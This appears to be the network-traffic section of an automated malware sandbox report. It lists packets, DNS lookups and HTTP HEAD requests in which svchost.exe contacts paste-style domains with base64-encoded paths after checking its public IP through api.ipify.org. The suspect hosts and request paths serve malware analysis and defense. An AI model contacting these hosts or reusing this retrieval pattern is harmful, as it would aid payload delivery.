Jan 12, 2025 09:28:25.897046089 CET	50609	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.897080898 CET	50609	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.901854038 CET	80	50609	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:25.912910938 CET	80	50607	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.913007021 CET	50607	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.913372040 CET	80	50607	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.913414955 CET	50607	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.913518906 CET	50610	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.913564920 CET	443	50610	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.913621902 CET	50610	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.913649082 CET	50610	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.913685083 CET	443	50610	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.913727999 CET	50610	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.913919926 CET	50611	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.917807102 CET	80	50607	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.918700933 CET	80	50611	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.918754101 CET	50611	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.918788910 CET	50611	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.923554897 CET	80	50611	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:26.367130995 CET	80	50609	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.367324114 CET	50609	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.367917061 CET	80	50609	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.369209051 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.369240999 CET	50609	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.369273901 CET	443	50614	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.369364023 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.369751930 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.369766951 CET	443	50614	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.372147083 CET	80	50609	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.372582912 CET	80	50611	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:26.372680902 CET	50611	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:26.372838020 CET	80	50611	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:26.372885942 CET	50611	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:26.373241901 CET	50615	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.373269081 CET	443	50615	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.373609066 CET	50615	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.373609066 CET	50615	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.373615980 CET	50616	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.373703957 CET	443	50615	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.373754978 CET	50615	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.377526999 CET	80	50611	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:26.378407955 CET	80	50616	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.378490925 CET	50616	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.378570080 CET	50616	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.383344889 CET	80	50616	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.824588060 CET	443	50614	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.824676991 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.825706959 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.825748920 CET	443	50614	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.825877905 CET	443	50614	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.825881004 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.825922966 CET	50614	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.826273918 CET	50617	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.826302052 CET	443	50617	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:26.826351881 CET	50617	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.826381922 CET	50617	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.826522112 CET	443	50617	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:26.826575994 CET	50617	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.826853037 CET	50618	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.831707954 CET	80	50618	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:26.831808090 CET	50618	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.831875086 CET	50618	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:26.836683989 CET	80	50618	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:26.857649088 CET	80	50616	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.857743025 CET	50616	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.857952118 CET	80	50616	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:26.858004093 CET	50616	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:26.859235048 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.859266996 CET	443	50621	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.859337091 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.859689951 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:26.859702110 CET	443	50621	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:26.862546921 CET	80	50616	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:27.304043055 CET	80	50618	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.304193974 CET	50618	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.304279089 CET	80	50618	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.304332972 CET	50618	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.304816008 CET	50622	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.304878950 CET	443	50622	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.305191040 CET	50622	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.305223942 CET	50622	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.305330992 CET	443	50622	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.305490017 CET	50623	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.305512905 CET	50622	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.309056997 CET	80	50618	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.310314894 CET	80	50623	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.310818911 CET	50623	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.310852051 CET	50623	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.315613985 CET	80	50623	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.335762978 CET	443	50621	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:27.335846901 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:27.336905003 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:27.336934090 CET	443	50621	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:27.337069988 CET	443	50621	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:27.337125063 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:27.337140083 CET	50621	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:27.337513924 CET	50624	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.337564945 CET	443	50624	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.337629080 CET	50624	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.337660074 CET	50624	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.337692976 CET	443	50624	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.337739944 CET	50624	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.338104963 CET	50625	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.342952013 CET	80	50625	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.343024969 CET	50625	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.343059063 CET	50625	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.347820044 CET	80	50625	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.800184011 CET	80	50623	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.800290108 CET	50623	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.801151991 CET	50627	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.801184893 CET	80	50623	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.801199913 CET	443	50627	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:27.801238060 CET	50623	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.801286936 CET	50627	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.801316023 CET	50627	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.801439047 CET	443	50627	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:27.801495075 CET	50627	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.801785946 CET	50628	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.805057049 CET	80	50623	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.806660891 CET	80	50628	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:27.806755066 CET	50628	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.806809902 CET	50628	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:27.811599016 CET	80	50628	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:27.814711094 CET	80	50625	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.814821005 CET	50625	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.815146923 CET	80	50625	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.815206051 CET	50625	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:27.815468073 CET	50629	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.815488100 CET	443	50629	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.815574884 CET	50629	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.815607071 CET	50629	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.815643072 CET	443	50629	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.815685987 CET	50629	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.816021919 CET	50630	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.819659948 CET	80	50625	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:27.820864916 CET	80	50630	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:27.820950985 CET	50630	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.821012974 CET	50630	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:27.825845003 CET	80	50630	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:28.258341074 CET	80	50628	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.258677959 CET	50628	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.259351015 CET	80	50628	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.259380102 CET	50631	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.259418011 CET	50628	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.259453058 CET	443	50631	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:28.259529114 CET	50631	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.259602070 CET	50631	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.259687901 CET	443	50631	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:28.259855986 CET	50631	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.260164022 CET	50632	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.263550997 CET	80	50628	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.264983892 CET	80	50632	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:28.265057087 CET	50632	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.265098095 CET	50632	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.269890070 CET	80	50632	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:28.288055897 CET	80	50630	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:28.288218021 CET	50630	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:28.288250923 CET	80	50630	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:28.288331985 CET	50630	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:28.288813114 CET	50633	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.288852930 CET	443	50633	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.288921118 CET	50633	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.288947105 CET	50633	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.289035082 CET	443	50633	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.289222002 CET	50634	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.289248943 CET	50633	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.293029070 CET	80	50630	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:28.294013977 CET	80	50634	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.294078112 CET	50634	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.294138908 CET	50634	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:28.298882961 CET	80	50634	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.746675968 CET	80	50632	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:28.746963978 CET	80	50632	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:28.747163057 CET	50632	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:28.765861988 CET	80	50634	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.766510010 CET	80	50634	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:28.766575098 CET	50634	80	192.168.2.7	172.67.176.186

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 09:26:19.258945942 CET	60694	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:19.265641928 CET	53	60694	1.1.1.1	192.168.2.7
Jan 12, 2025 09:26:19.278812885 CET	54121	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:19.292085886 CET	53	54121	1.1.1.1	192.168.2.7
Jan 12, 2025 09:26:19.337776899 CET	63052	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:19.351217031 CET	53	63052	1.1.1.1	192.168.2.7
Jan 12, 2025 09:26:42.051440001 CET	58975	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:42.058024883 CET	53	58975	1.1.1.1	192.168.2.7
Jan 12, 2025 09:26:42.818308115 CET	52417	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:42.830581903 CET	53	52417	1.1.1.1	192.168.2.7
Jan 12, 2025 09:26:43.818075895 CET	62278	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:43.857870102 CET	53	62278	1.1.1.1	192.168.2.7
Jan 12, 2025 09:26:44.342900991 CET	57528	53	192.168.2.7	1.1.1.1
Jan 12, 2025 09:26:44.354959011 CET	53	57528	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 12, 2025 09:26:19.258945942 CET	192.168.2.7	1.1.1.1	0xb320	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:19.278812885 CET	192.168.2.7	1.1.1.1	0xdeb	Standard query (0)	pastesnap.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:19.337776899 CET	192.168.2.7	1.1.1.1	0x313	Standard query (0)	pastesnap.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.051440001 CET	192.168.2.7	1.1.1.1	0x6c3b	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.818308115 CET	192.168.2.7	1.1.1.1	0xb5a7	Standard query (0)	wavepassage.cfd	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:43.818075895 CET	192.168.2.7	1.1.1.1	0xcfd8	Standard query (0)	textbinvault.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.342900991 CET	192.168.2.7	1.1.1.1	0xa834	Standard query (0)	securetextweb.cc	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 12, 2025 09:26:19.265641928 CET	1.1.1.1	192.168.2.7	0xb320	No error (0)	www.google.com	142.250.181.228	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:19.292085886 CET	1.1.1.1	192.168.2.7	0xdeb	No error (0)	pastesnap.com	172.67.198.113	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:19.292085886 CET	1.1.1.1	192.168.2.7	0xdeb	No error (0)	pastesnap.com	104.21.60.172	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:19.351217031 CET	1.1.1.1	192.168.2.7	0x313	No error (0)	pastesnap.com	104.21.60.172	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:19.351217031 CET	1.1.1.1	192.168.2.7	0x313	No error (0)	pastesnap.com	172.67.198.113	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.058024883 CET	1.1.1.1	192.168.2.7	0x6c3b	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.058024883 CET	1.1.1.1	192.168.2.7	0x6c3b	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.058024883 CET	1.1.1.1	192.168.2.7	0x6c3b	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.830581903 CET	1.1.1.1	192.168.2.7	0xb5a7	No error (0)	wavepassage.cfd	188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:42.830581903 CET	1.1.1.1	192.168.2.7	0xb5a7	No error (0)	wavepassage.cfd	188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:43.857870102 CET	1.1.1.1	192.168.2.7	0xcfd8	No error (0)	textbinvault.com	172.67.176.186	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:43.857870102 CET	1.1.1.1	192.168.2.7	0xcfd8	No error (0)	textbinvault.com	104.21.17.117	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 09:26:44.354959011 CET	1.1.1.1	192.168.2.7	0xa834	No error (0)	securetextweb.cc	104.21.32.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastesnap.com

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49857	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:42.837050915 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:43.320178032 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:43 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:43 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eVNZ4FbFysVM%2BQutercdvETi8sm4Tj8TuJN7dNnaeThGNrT2ejrhsiDlSxdF6CrZjZMUJ8RY%2F0bQzwpayXfGd5XsxHZj%2FNBShFI1lb%2F8DpL8BTzDvLr6p%2FrRx%2BpPDkoAwkg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3646838428b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2153&min_rtt=2153&rtt_var=1076&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49862	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:43.327511072 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:43.815934896 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:43 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:43 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B9sn9J0HfiwxXoVW5w8jJC1Xbk8%2F5GZX13%2Bmx%2FggLnujvNFatfZ4Px0p%2Fg2l7BSL%2FgNEdFXFPYBe%2BUaeUYaba%2BHTPiwoXDrHh6brFfzo5epbLwcw2vqUaARGpJ7ebTAC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3676e3232fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1991&rtt_var=995&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49872	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:43.865554094 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:44.336540937 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:44 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:44 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jxwFGpfyRlz%2FwSlFFwH%2F43kS6cxtjbE0Zye5cwc9PZFT9LpBxEf2Qy3m0VUwNSNkl717eJkAj%2BizxBPRMh7uf6Ao6lWFfmgJ8LnVkA8I4%2FQgjOxVwB%2BZfv5sK%2FzArkhVn%2F6K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc36acdaede9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1638&rtt_var=819&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49874	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:44.072865009 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:44.533900976 CET	878	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:44 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:44 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bQXYaUbR9od1rkbmFK%2Fs5LbPNSPMVh0gLaMDsEioKxsNq8qkoK%2BzD9QvVrmIWt0q2YZD3lJLHYjmw%2FarYM2YVUNPw0bnPxVd2%2By0b%2B9%2B4DiWVxOQ7ED1GDtWRaLMyisv4ng%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc36bfd790f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1474&rtt_var=737&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49880	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:44.399944067 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:44.889475107 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:44 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:44 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2BSqZ6aJoZpQah70MPGt0egvYStLdp%2FHW7%2FYXwHO1NBI2Ubqw82wHDpASsKSGWPFUlUnDNJNhjT0uftTmh%2F8XEDMnwvrZIvWhrIA4IeXwZoj6qumtIEBEPnR8yc0C7K%2BVTce"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc36e2e4b8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1960&min_rtt=1960&rtt_var=980&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49882	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:44.571243048 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
